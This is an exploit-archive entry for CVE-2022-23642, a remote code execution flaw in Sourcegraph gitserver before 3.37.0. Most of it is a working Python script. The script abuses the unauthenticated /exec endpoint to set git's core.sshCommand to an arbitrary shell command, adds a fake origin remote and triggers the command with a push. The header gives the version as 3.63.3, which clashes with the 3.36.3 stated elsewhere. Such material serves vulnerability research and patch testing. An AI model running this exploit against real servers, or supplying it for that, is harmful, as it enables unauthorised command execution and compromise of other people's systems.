Sourcegraph Gitserver 3.36.3 Remote Code Execution

Sourcegraph Gitserver version 3.36.3 suffers from a remote code execution vulnerability.


SHA-256 | ee3b7d37bfe4486bd0f3cce9798a27ebb2b45cf81818291f4acb0d35f4d13d82

# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)
# Date: 2022-06-10
# Exploit Author: Altelus
# Vendor Homepage: https://about.sourcegraph.com/
# Version: 3.63.3
# Tested on: Linux
# CVE : CVE-2022-23642
# Docker Container: sourcegraph/server:3.36.3

# Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service.
# This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed
# on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible
# if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3
#
# Exploitation parameters:
# - Exposed Sourcegraph gitserver
# - Existing repo on sourcegraph



import json
import argparse
import requests

def exploit(host, existing_git, cmd):

# setting sshCommand
data = {
"Repo" : existing_git,
"Args" : [
"config",
"core.sshCommand",
cmd
]
}

res = requests.get(host+"/exec", json=data).text

if len(res) > 0:
print("[-] Didn't work: {}".format(res))
exit(0)

# setting fake origin
data = {
"Repo" : existing_git,
"Args" : [
"remote",
"add",
"origin",
"[email protected]:foo/bar.git"
]
}

res = requests.get(host+"/exec", json=data).text

if len(res) > 0:
print("[-] Didn't work: {}".format(res))
exit(0)

# triggering command using push
data = {
"Repo" : existing_git,
"Args" : [
"push",
"origin",
"master"
]
}

res = requests.get(host+"/exec", json=data).text

print("[*] Finished executing exploit")

parser = argparse.ArgumentParser()

parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host")
parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph")
parser.add_argument('--cmd', required=True, help="Command to run")
args = parser.parse_args()

host = args.gitserver_host
existing_git = args.existing_git
cmd = args.cmd


exploit(host, existing_git, cmd)


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